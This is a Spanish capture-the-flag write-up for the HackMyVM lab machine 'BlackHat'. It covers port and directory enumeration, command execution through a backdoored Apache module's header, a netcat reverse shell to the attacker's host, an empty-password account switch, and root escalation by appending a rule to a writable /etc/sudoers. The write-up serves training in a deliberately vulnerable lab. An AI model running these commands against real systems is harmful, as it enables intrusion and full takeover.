cd ~/blog

~/writeups/hmv/052-blackhat.md

052 - BlackHat

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Backdoored Apache Module RCEWeak PasswordWritable Critical File
hackmyvm.eu/machines/machine.php?vm=BlackHat

~1 min de lectura


Enumeración de servicios

Comenzamos con la enumeración de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.15
❯ nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.15
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 18:02 -03
Nmap scan report for 192.168.1.15
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title:  Hacked By HackMyVM
|_http-server-header: Apache/2.4.54 (Debian)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.63 seconds

Enumeramos con gobuster:

❯ gobuster dir -u 'http://192.168.1.15' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,gif,png -r
...
/index.html           (Status: 200) [Size: 1437]
/image.jpg            (Status: 200) [Size: 13314]
/phpinfo.php          (Status: 200) [Size: 69320]

Backdoored Apache Module RCE

En phpinfo.php vemos cargado mod_backdoor, lo que evidencia un Backdoored Apache Module RCE. No es una función legítima de Apache: el módulo malicioso registra la cabecera HTTP Backdoor como canal de entrada y entrega su contenido a un ejecutor de órdenes. La respuesta de id confirma tanto la ejecución como la identidad www-data del proceso comprometido:

❯ curl -H "Backdoor: id" http://192.168.1.15/
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lanzamos una reverse shell:

❯ curl -H "Backdoor: nc 192.168.1.10 1234 -e /bin/bash" http://192.168.1.15/

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.15:58274.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@blackhat:/$ export TERM=xterm
export TERM=xterm
www-data@blackhat:/$

Movimiento lateral a darkdante

Con suBF.sh comprobamos las cuentas locales y descubrimos que darkdante acepta una Empty Password. su no solicita un secreto efectivo para esa cuenta, por lo que cualquier usuario local puede asumir su identidad. Cambiamos a darkdante y obtenemos la primera flag:

www-data@blackhat:/$ su darkdante
darkdante@blackhat:/$

Escalada de privilegios

Para escalar a root, revisamos tanto los bits de modo como las ACL de /etc/sudoers:

darkdante@blackhat:/tmp$ ls -l /etc/sudoers
-r--rw----+ 1 root root 669 Nov 19  2022 /etc/sudoers

darkdante@blackhat:/tmp$ getfacl /etc/sudoers
...
user:darkdante:rw-
...

El signo + mostrado por ls anuncia una ACL extendida y getfacl confirma una entrada efectiva rw- para darkdante. Esto convierte el archivo en un Writable Critical File: aunque los bits tradicionales parecen restrictivos, el usuario puede modificar directamente la política de sudo. Añadimos una regla para su propia cuenta y elevamos:

darkdante@blackhat:/tmp$ echo "darkdante ALL=(ALL:ALL) ALL" >> /etc/sudoers
darkdante@blackhat:/tmp$ sudo su
root@blackhat:/tmp#

Obtenemos una shell de root y nuestra bandera.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados